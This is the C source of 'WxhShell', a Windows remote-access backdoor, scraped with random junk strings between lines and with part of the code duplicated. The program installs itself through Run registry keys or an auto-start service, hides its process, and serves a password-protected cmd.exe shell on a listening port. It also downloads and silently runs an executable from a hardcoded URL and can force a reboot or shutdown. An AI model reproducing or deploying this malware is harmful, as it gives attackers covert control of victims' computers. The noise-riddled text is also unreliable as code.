5< ULONG InheritedFromUniqueProcessId; yW5/Y02 } PROCESS_BASIC_INFORMATION; f.8Jp<S2K e^2e[rp0 PROCNTQSIP NtQueryInformationProcess; ya7PF~:E- F5la:0fb static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !=%0 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P"d7Af Y|JC+Ee HANDLE hProcess; $BHbnsaQ PROCESS_BASIC_INFORMATION pbi; 5p!X}u] ^'>kZ^w0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4g<F." if(NULL == hInst ) return 0; `2N&{( @a-u_|3q g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +@*}_%^l" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (1pI#H"f9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /Iht,@%E \1|]?ZQ\ K if (!NtQueryInformationProcess) return 0; aK>5r^7S XJJdCv^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x?s5vxAKf if(!hProcess) return 0; n[DQ5l Z3jh-{ 0 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /){F0Zjjt T,N"8N{K" CloseHandle(hProcess); K5l#dl_T u\LG_/UJV1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T}')QC&wQ if(hProcess==NULL) return 0; VGFWF3s m BWE^ HMODULE hMod; YdsY2 char procName[255]; YbCqZqk unsigned long cbNeeded; A8Z2o\+ S}fU2Wi if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); },1**_#<Br P$l-p'U- CloseHandle(hProcess); Qa*?iD Twqkd8[ if(strstr(procName,"services")) return 1; // 以服务启动 K&1o!<| /P_1vQq return 0; // 注册表启动 Mou@G3 } Hgu:*iYA YA(_*h
// 主模块 g7*"*%v 2 int StartWxhshell(LPSTR lpCmdLine) oh%kuO T[ { /JP]5M) SOCKET wsl; /48W]a}JS BOOL val=TRUE; s=)0y$ int port=0; 2kv%k3Q{ struct sockaddr_in door; ;=rM Ii -KzU'' if(wscfg.ws_autoins) Install(); P<+y%g(({ !: e0cV port=atoi(lpCmdLine); X`,4pSQ; 9`[#4'1Mik if(port<=0) port=wscfg.ws_port; }h+_kRQ *~p~IX{ WSADATA data; F[aow$",+} if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @(:ah {?a9>g-BW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NW-l_]k setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eiLtZQ door.sin_family = AF_INET; F~Kd5-I@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); pB
@l+
n^ door.sin_port = htons(port); 7ko7)"N 1[k~*QS if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )p.+39]{2 closesocket(wsl); ?$O5w* return 1; uj.~/W1,! } =hV-E
D 5io7!% if(listen(wsl,2) == INVALID_SOCKET) { dEXHd@"H closesocket(wsl); Pn{yk`6E return 1; -KRHcr \ } @5gZK[?|I Wxhshell(wsl); ?FRR"; WSACleanup(); Y^dVNC3vd &}Y_EHj} return 0; Df_W>QC 1SBc:!2 } 9Ao0$|@b ujcS>XN,1 // 以NT服务方式启动 4'BzW Z;_a VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c%.f|/.k
{ 9X&Xs/B DWORD status = 0; >/"XX,3 DWORD specificError = 0xfffffff; ~L(_q] c ;3bX6RD* serviceStatus.dwServiceType = SERVICE_WIN32; $Z;HE/3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; [5%/{W,~m serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SwQ.tK1p serviceStatus.dwWin32ExitCode = 0; dE5DH~ldV serviceStatus.dwServiceSpecificExitCode = 0; (.,E6H|zI serviceStatus.dwCheckPoint = 0; $"{V],:T
| serviceStatus.dwWaitHint = 0; ~H0~5v F ^v3+w"2 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^F*)Jq if (hServiceStatusHandle==0) return; 0:G@a&Lr bcpH|}[F) status = GetLastError(); ^&uWAQohL if (status!=NO_ERROR) (2@b ,w^ { f/)3b`$Wu serviceStatus.dwCurrentState = SERVICE_STOPPED; mxHNK4/ serviceStatus.dwCheckPoint = 0; 2W
pe(
\( serviceStatus.dwWaitHint = 0; %9mCgHQ9 serviceStatus.dwWin32ExitCode = status; qn@Qd9Sf serviceStatus.dwServiceSpecificExitCode = specificError; eEsEW<su SetServiceStatus(hServiceStatusHandle, &serviceStatus); HkvCQ H return; ~E^EF{h
} gx[#@( M;MD-|U serviceStatus.dwCurrentState = SERVICE_RUNNING; _|8"&*T^ serviceStatus.dwCheckPoint = 0; *Oz5I serviceStatus.dwWaitHint = 0; |
7>1) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RA[` Cp" } !w
f N~.Y UO"8 I2rB // 处理NT服务事件,比如:启动、停止 5d}PrYa VOID WINAPI NTServiceHandler(DWORD fdwControl) "4"\tM( { S=aXmz< switch(fdwControl) ~Y)Au?d(a { Cu;X{F'H case SERVICE_CONTROL_STOP: q1dYiG.-Z serviceStatus.dwWin32ExitCode = 0; 5, Yk5?l<' serviceStatus.dwCurrentState = SERVICE_STOPPED; v,>F0ofJ serviceStatus.dwCheckPoint = 0; aic6,>\!' serviceStatus.dwWaitHint = 0; B_cn[?M { 4BEVG&Ks
SetServiceStatus(hServiceStatusHandle, &serviceStatus); >K\ 79<x| } cDs#5, return; SATZ! case SERVICE_CONTROL_PAUSE: =|3L'cDC serviceStatus.dwCurrentState = SERVICE_PAUSED; n+GC L+Mo break; (%0X\zvu/ case SERVICE_CONTROL_CONTINUE: >^J!Z~;L) serviceStatus.dwCurrentState = SERVICE_RUNNING; n]Dq break; f| N(~ case SERVICE_CONTROL_INTERROGATE: \yG_wZs break; 62(WZX%b }; YSrFHVq SetServiceStatus(hServiceStatusHandle, &serviceStatus); U}A+jJ } xC;$/u%' 5 (H; x74 // 标准应用程序主函数 6l_8Q w*5I int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /v!H{Zw=c { 6AQ;P !Rb7q{@>
// 获取操作系统版本 iBUf1v OsIsNt=GetOsVer(); T[Gz GetModuleFileName(NULL,ExeFile,MAX_PATH); 609=o+ c7rYG] // 从命令行安装 jilO% " if(strpbrk(lpCmdLine,"iI")) Install(); Y6N+,FAk+J 3F.O0Vz // 下载执行文件 D[tGbk if(wscfg.ws_downexe) { %!.rP if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BK /;HG WinExec(wscfg.ws_filenam,SW_HIDE); v>R.M"f } V)(pe #P w@:o:yLS if(!OsIsNt) { ,}2j
Fb9z4 // 如果时win9x,隐藏进程并且设置为注册表启动 %ANPv = HideProc(); r*p%e\ 3 StartWxhshell(lpCmdLine); NX=dx&i>+ } b&_p"8)_ else oNCDG|8z if(StartFromService()) fGe{7p6XV* // 以服务方式启动 i'5bPW StartServiceCtrlDispatcher(DispatchTable); 2Q k\}KWs else (/KF;J^M // 普通方式启动 &0C!P=-p StartWxhshell(lpCmdLine); i{e<kKh (Iq\+@xE= return 0; 33;|52$ } ;q^YDZ' kXj pCtCu r2Z`4tN: $OhL
95}7 =========================================== aEM#V <1LuYEDq 5g5pzww k m|wB4 'Qfy+_0 JR>B<{xB " |$w-}$jq5 >5gzo6j/ #include <stdio.h> 6FmgK"t8 #include <string.h> uJ y@ #include <windows.h> *Xnq1_K} #include <winsock2.h> UCWU|r<s, #include <winsvc.h> ky%%H; #include <urlmon.h> nc{<v |S}*M<0 #pragma comment (lib, "Ws2_32.lib") b>(lF%M #pragma comment (lib, "urlmon.lib") v;8XRR: E,$uNw '] #define MAX_USER 100 // 最大客户端连接数 O^$Zz< #define BUF_SOCK 200 // sock buffer l`]!)j|+ #define KEY_BUFF 255 // 输入 buffer ~S6N'$^ -XyuA:pxx #define REBOOT 0 // 重启 Lgfr"{C #define SHUTDOWN 1 // 关机 &Os Ritj ?C{N0?[P- #define DEF_PORT 5000 // 监听端口 <>oW f ?yb{DZ46 #define REG_LEN 16 // 注册表键长度 &40]sxm #define SVC_LEN 80 // NT服务名长度 z~5'p(|@f *X-$*
~J0 // 从dll定义API ;CZcY] ol typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BYf"l8^, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7EXmmB~>, typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i5" q1dRQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qsRh ihPX k}.nH"AQ // wxhshell配置信息 B=r/(e struct WSCFG { [ub\DLl int ws_port; // 监听端口 \nWpV7TSN char ws_passstr[REG_LEN]; // 口令 p'4P2 int ws_autoins; // 安装标记, 1=yes 0=no A&'%ou char ws_regname[REG_LEN]; // 注册表键名 &O,$l3 P char ws_svcname[REG_LEN]; // 服务名 c53`E U char ws_svcdisp[SVC_LEN]; // 服务显示名 "U.=A7r char ws_svcdesc[SVC_LEN]; // 服务描述信息 AF}"
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _@;N<$& int ws_downexe; // 下载执行标记, 1=yes 0=no YLo$n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "!?bC#d#( char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hdx|k=-Q^ uSJP"Lw }; WXU6J?tIm t@n (a // default Wxhshell configuration kDh(~nfj struct WSCFG wscfg={DEF_PORT, Biy 9jIWI "xuhuanlingzhe", .
6dT5x8u 1, j[cjQ]>~' "Wxhshell", >6 #\1/RP "Wxhshell", }C1wfZ~F~ "WxhShell Service", mNel3J3
"Wrsky Windows CmdShell Service", $O8V!R* "Please Input Your Password: ", ~2431<YV 1, PEIr-qs%D "http://www.wrsky.com/wxhshell.exe", dDbC0} x/ "Wxhshell.exe" eb\`)MI/ }; uek3Y[n G |^X:+ // 消息定义模块 |GQ$UB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~7a BeD char *msg_ws_prompt="\n\r? for help\n\r#>"; &7&*As char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6DW|O<k^j char *msg_ws_ext="\n\rExit."; R
<\Yg3m8 char *msg_ws_end="\n\rQuit."; 9m4rNvb char *msg_ws_boot="\n\rReboot..."; s=
fKAxH char *msg_ws_poff="\n\rShutdown..."; @\8gzvkt char *msg_ws_down="\n\rSave to "; A#:
c :<8V2 char *msg_ws_err="\n\rErr!"; 8v
1%H8 char *msg_ws_ok="\n\rOK!"; Z-a(3& yZ$;O0f&& char ExeFile[MAX_PATH]; ?/MXcI( int nUser = 0; ~[q:y|3b HANDLE handles[MAX_USER]; `&zobbwq int OsIsNt; 1I_q3 { eb@Lh! SERVICE_STATUS serviceStatus; FF~4y>R7u SERVICE_STATUS_HANDLE hServiceStatusHandle; U&$]?3? ~HRWKPb // 函数声明 QvN
<uxm int Install(void); guXpHF= int Uninstall(void); 7`@?3? int DownloadFile(char *sURL, SOCKET wsh); [#'_@zZz int Boot(int flag); /,Id_TTCO void HideProc(void); '|N4fbZd int GetOsVer(void); L"6/"L int Wxhshell(SOCKET wsl); vXQmEIm void TalkWithClient(void *cs); R6mJFE*6T9 int CmdShell(SOCKET sock); , %O3^7i int StartFromService(void); 72vGfT2HtZ int StartWxhshell(LPSTR lpCmdLine); 4S9,
tc& 3|r!*+. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 91d`LsP VOID WINAPI NTServiceHandler( DWORD fdwControl ); PVc|y. kdPm # $- // 数据结构和表定义 psy(]Pf SERVICE_TABLE_ENTRY DispatchTable[] = >1pH 91c' { DB'KIw {wscfg.ws_svcname, NTServiceMain}, dS_)ll.6z {NULL, NULL} &\`a5[ }; ||ZufFO cYy@ // 自我安装 i3&B%JiLX int Install(void) u4M2Ec { MGyB8( char svExeFile[MAX_PATH]; B%:9P HKEY key; +Z~!n strcpy(svExeFile,ExeFile); seU^IC< #L=
eK8^e // 如果是win9x系统,修改注册表设为自启动 iA{jKk= if(!OsIsNt) { jy@i(@Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v[DbhIXU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *[~o~e/YCb RegCloseKey(key); qq7X",s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ j X N*A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |-Esc|J( RegCloseKey(key); LI;Efy L return 0;
~
9~\f } n,:.]3v% } [x p,& } "~2#!bK7 else { 5~%,u2 A1t~&? // 如果是NT以上系统,安装为系统服务 p vQK6r SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >g"M.gW if (schSCManager!=0) [gns8F#H\ { Y0fO.k#C^ SC_HANDLE schService = CreateService !a&SB*%^I3 ( #!u51P1 schSCManager, $EGRaps{j> wscfg.ws_svcname, V]kGcS} wscfg.ws_svcdisp, u}LX,B-n( SERVICE_ALL_ACCESS, m5em<P!G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dGD^op,6g SERVICE_AUTO_START, ssyd8LC# SERVICE_ERROR_NORMAL, M$4=q((0 svExeFile, O:^LQ NULL, i$^B- NULL, V>j hGf NULL, l*\~ew NULL, T<e7(= NULL 1.95 ^8 ); Sa1z,EP if (schService!=0) Cq*}b4^; { +5t
bK CloseServiceHandle(schService); %V(N U_o CloseServiceHandle(schSCManager); "ryk\}*< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H&=n:'k^ strcat(svExeFile,wscfg.ws_svcname); 0+<eRR9- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { euj8p:+X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?cs]#6^ RegCloseKey(key); 'LbeL1ca return 0; w*u{;v# } qQxA@kdd } V@_-H
gg CloseServiceHandle(schSCManager); t.E4Tqzc> } )o9Q5Lq } v"~Do+*+ 6vgBqn[ return 1; jkF+g$B } 5Z9 ~
&U /j' B\, // 自我卸载 <wt$Gglk int Uninstall(void) @ 2!C^}d3F { *j/S4qG HKEY key; Cl6m$YUt B+Y5b5+wOQ if(!OsIsNt) { Z%+BWS3YqY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1X::0;3 RegDeleteValue(key,wscfg.ws_regname); 7k]RO RegCloseKey(key); l 70,Jo?78 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i>Fvmw RegDeleteValue(key,wscfg.ws_regname); P1i*u0a RegCloseKey(key); ^}o7* return 0; *!g 24 } ;Rhb@]X } Ts(t:^
} @q&|MMLt else { ?L@@;tt WDEe$k4. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !.3R~0b if (schSCManager!=0) % Cu.u)/+ { WGh. ;- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U~*c#U"bh if (schService!=0) ?h!t$QQ!M { l] _b;iux if(DeleteService(schService)!=0) { d/B'[Ur CloseServiceHandle(schService); jow7t\wk CloseServiceHandle(schSCManager); Q PFeBl return 0; <t{?7_ 8 } X"[dQ_o CloseServiceHandle(schService); k7^R,.c@ } !TP6=ks CloseServiceHandle(schSCManager); ohrw\<xsu } LY-lTr@A^
} }iilzE4oH# "v(G7*2 return 1; a`H\-G } FUaI2 +7Yu^& // 从指定url下载文件 hCzjC|EO~ int DownloadFile(char *sURL, SOCKET wsh) #(%t*"IY; { )n7|?@5U HRESULT hr; |l|_dn char seps[]= "/"; [J0*+C9P* char *token; ^
<qrM char *file; CQdBf3q char myURL[MAX_PATH]; tTotPPZf} char myFILE[MAX_PATH]; YP[LQ> 'nRp}s1^[ strcpy(myURL,sURL); NJZXs_%>$ token=strtok(myURL,seps); n6b3E* while(token!=NULL) 6*ZU}xT { cYGRy,'gH file=token; 2B7h9P.N B token=strtok(NULL,seps); N-[n\}' } ' _B_&is mZwi7s&u GetCurrentDirectory(MAX_PATH,myFILE); 2~f6~\4GL+ strcat(myFILE, "\\"); NQ?x8h3 strcat(myFILE, file); KNy`Lj)VPY send(wsh,myFILE,strlen(myFILE),0); ]}Pl%. send(wsh,"...",3,0); Oqpp=7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6wPeb~{ if(hr==S_OK) {G]?{c)" return 0; KiQ(XNx else #c-b}.R return 1; QwBXlO? *|mz_cKu } sf`PV}a1 a\=-D: // 系统电源模块 tJ"az=? int Boot(int flag) PdT83vOCE { pA<eTlH HANDLE hToken; zLP],wB TOKEN_PRIVILEGES tkp; @rF/]UJ MEEAQd<* if(OsIsNt) { RcQ>eZHl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E#8_hT]5 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gI)u}JX tkp.PrivilegeCount = 1; + 3h`UF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "%VbI P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V]rhVMA if(flag==REBOOT) { ;1v=||V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hyfR9~ return 0; wxj>W[V } cf)J ) else { t:>x\V2m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y_*n9
)Ct return 0; 8W;2oQN7 } Zd[OWF } nTs/Q V else { p#bhz5&/ if(flag==REBOOT) { (3VGaUlx if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lV\lj@ return 0; \^& } 34ha26\np else { c`
,
2h# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FI8k;4|V return 0; n$4|PO$X } <c+K3P'3? } .5.8;/
/ ' sey D return 1; rnO0-h-; } +dw!:P& %hc'dZ // win9x进程隐藏模块 1* ^'\W. void HideProc(void) 0z7L+2#b^ { o-z &7@3Hu z1vw'VT> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
%H& ].47 if ( hKernel != NULL ) Bd5+/G=m { vZu~LW@1 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {oUAP1V^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QL97WK\$ FreeLibrary(hKernel); ;wR 'z$8 } RPH1''*! B76 v}O: return; vX;HC'%n } 8gC)5Y Hm
fXe // 获取操作系统版本 wzh]97b int GetOsVer(void) GX?*1 { Km!nM$=k OSVERSIONINFO winfo; R*9NR,C winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wAFW*rO5o GetVersionEx(&winfo); v$Uhm</|19 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X3wX`V} return 1; 'e@=^FC else =X-Tcj?3g return 0; ZCYS\E7X } Cqxv"NN
so+4B1$)q // 客户端句柄模块 R J~%0 int Wxhshell(SOCKET wsl) brSi< { _U0$ =V SOCKET wsh; {q3:Z{#>7 struct sockaddr_in client; ~e">_;k6 DWORD myID; +th%enRB S&(^<gwl while(nUser<MAX_USER) Wto;bd { fP[& a9l int nSize=sizeof(client); !MVj=( wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bk<FL6z
z if(wsh==INVALID_SOCKET) return 1; {G3i0r 909md|9K3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o>?*X(+le if(handles[nUser]==0) &(blN.2 closesocket(wsh); <
g|Z}Y else BqH]-'1G nUser++; *5VXyt2 } ?LaUed' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F$MX,,4U F|+W.9 return 0; xW_yLbE } <rIz Z'D /6+NU^ // 关闭 socket bAwl:l\` void CloseIt(SOCKET wsh) Q_p[kK H { ? _g1*@pA closesocket(wsh); hhI)' $ nUser--; jrMe G.e=D ExitThread(0); :+rUBYWx } O+~ 7l?o 'ZP)cI:+X // 客户端请求句柄 YB,t0%vTJw void TalkWithClient(void *cs) Sw[{JB;y, { ,Hn^z<f p'94SXO_ SOCKET wsh=(SOCKET)cs; RA O`i>@ char pwd[SVC_LEN]; &miexSNeF char cmd[KEY_BUFF]; +iO/m char chr[1]; Uf\nFB? ^ int i,j; v2+!1r7@ ^tH#YlV4>9 while (nUser < MAX_USER) { hk>;pU( MJ{%4S{K,p if(wscfg.ws_passstr) { )ChqATKg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ts$@s^S] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E=]4ctK //ZeroMemory(pwd,KEY_BUFF); ut2~rRiK i=0; %~xGkk"I while(i<SVC_LEN) { t*XN_=E$f (C;I*cv // 设置超时 Q{g;J`Z)p fd_set FdRead; O) atNE struct timeval TimeOut; .TJEUK FD_ZERO(&FdRead); zj{r^D$ FD_SET(wsh,&FdRead); bGF7Zh9 TimeOut.tv_sec=8; R&f^+0%f TimeOut.tv_usec=0; %
ps$qB' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "=/ f$Xf if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dnf*7)X >slm$~rv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q`NXJf=sc pwd=chr[0];
D L'iS if(chr[0]==0xd || chr[0]==0xa) { [U, ?R pwd=0; \55VqGyxu9 break; Y?J"wdWJNB } yp.[HMRD i++; mEyK1h1G@ } Gq<X4C#| Z6p5*+ // 如果是非法用户,关闭 socket ?p<.Fv8. if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !TM*o+; } 7CXW#H %V9ZyQg%* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j^tW
Iz send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sZ,Y60s8a u9+kLepOT while(1) { 8mT M$#\ c9qR'2 ZeroMemory(cmd,KEY_BUFF); FTc.]laO
_A13[Mt3 // 自动支持客户端 telnet标准 GeszgtK{T j=0; &8.NT~"Gg while(j<KEY_BUFF) { 7>XDNI if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [r+ZE7$2b" cmd[j]=chr[0]; zZcnijWb if(chr[0]==0xa || chr[0]==0xd) { $$b
9&mTl# cmd[j]=0; ,Ys"W x break; AfeCK1mC @ } tCxF~L@ j++; 0Wa}<]:^ } lif&@of #mize // 下载文件 3(TsgP>` if(strstr(cmd,"http://")) { RrUBpqA send(wsh,msg_ws_down,strlen(msg_ws_down),0); qTZFPfyU if(DownloadFile(cmd,wsh)) s,#>m*Rh send(wsh,msg_ws_err,strlen(msg_ws_err),0); kKC9{^%) else (=D&A<YX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .ERO|$fv } 0TpK#OlI|c else { AJ#Nenmj Eu"_MgD switch(cmd[0]) { `al<(FwGE .bBdQpF- // 帮助 jw-0M1B case '?': { cwiX8e"3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &0f5:M{P break; ;WR,eI.. } N F)~W# // 安装 w]N!S;<N case 'i': { Eke5Nb if(Install())
%iV^S!e send(wsh,msg_ws_err,strlen(msg_ws_err),0); TB0
5?F else ]_N|L|]M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <b,~:9*? break; /SYw;<= } 9on@Q_7m // 卸载 iY21Ql% case 'r': { P.gb1$7< if(Uninstall()) /?SLdW send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13taFVdU else kc0E%odF.v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]+X@
7 break; 0_ 88V } m *JaXa // 显示 wxhshell 所在路径 JtER_(. case 'p': { XI^QF;, char svExeFile[MAX_PATH]; 82l~G;.n3 strcpy(svExeFile,"\n\r"); 1I:+MBGin strcat(svExeFile,ExeFile); TYW&!sm send(wsh,svExeFile,strlen(svExeFile),0); KCs[/] break; =?!wXOg_ } eio4k- // 重启 M3.do^ss case 'b': { @;"|@!l| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .mR8q+I6 if(Boot(REBOOT)) 7
qS""f7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); nrjE.+v else { >7 ="8 closesocket(wsh); $&=S#_HQS ExitThread(0); c
Vc- }
$ ` "" break; jnn}V~L } \.-bZ$ // 关机 hv?9*tLh0 case 'd': { E 7{U|\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -qGa]a if(Boot(SHUTDOWN)) > ;*b|Ik send(wsh,msg_ws_err,strlen(msg_ws_err),0); J\b^) else { YuO.yh_ closesocket(wsh); ln6d<;
M5 ExitThread(0); r 8RoE`/T } " )1V]}+m break; lgk.CC } .:F%_dS D // 获取shell X9V *UXTc case 's': { ;>Ib^ov CmdShell(wsh); xA$XT[D closesocket(wsh); EFM5,gB.m ExitThread(0); YpVD2.jy break; ,
K~}\CR } ZQV6xoN;r // 退出 J cd- case 'x': { J| w>a send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \| 8 CloseIt(wsh); Wi)_H$KII break; .[ICx } 1G^`-ri6 // 离开 Hquc
o case 'q': { bKMy|_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hx?;fl'G% closesocket(wsh); #cI{Fe0h WSACleanup(); 3EPv"f^V exit(1); _uy44;zq break; w9EOC$|Y } V2wb%;q } M /"I2m
} s Z].8. r7%I n^k // 提示信息 "ut39si if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z7fp#>uw } Jdj2~pTq } I&x=; 3YR!Mq$|~ return; 0AL=S$B) } p8Qk'F=h !Wntd\w // shell模块句柄 .1Dg s=| int CmdShell(SOCKET sock) | ATvS2 { 8p 'L#Q. STARTUPINFO si; u04kF^ ZeroMemory(&si,sizeof(si)); L>Fa^jq5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h-`? {k&e si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "R;U/+ PROCESS_INFORMATION ProcessInfo; ,is3&9 char cmdline[]="cmd"; ymhtX6] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 65JF`] return 0; (c=6yV@ } u}macKJmp\ ^BikV // 自身启动模式 *av<E int StartFromService(void) bN1|q|9 { f@wquG' typedef struct KQ!8ks] { <KL,G};0pm DWORD ExitStatus; BYL)nCc DWORD PebBaseAddress; spH7 /5} DWORD AffinityMask; 6H.0vN& DWORD BasePriority; wDal5GJp ULONG UniqueProcessId; }HYbS8 ' ULONG InheritedFromUniqueProcessId; 2lH& } PROCESS_BASIC_INFORMATION; nS }<-s Fo5FNNiID PROCNTQSIP NtQueryInformationProcess; X9W@&zQ XpB_N{v9w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5H<m$K4z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; KOk4^#h@ ;u_X) HANDLE hProcess; l*Gvf_UH PROCESS_BASIC_INFORMATION pbi; @zW]2 c K7_UP&`=J HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5y.WMNNv{ if(NULL == hInst ) return 0; MzdV2. &
p g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /|6N*>l)y g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /$Nsd NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V1N3iI 5IGX5x if (!NtQueryInformationProcess) return 0; JzQ_{J`k 6,8h]?u. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )4 e.k$X^ if(!hProcess) return 0; vtg!8u4 |.: q if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $f
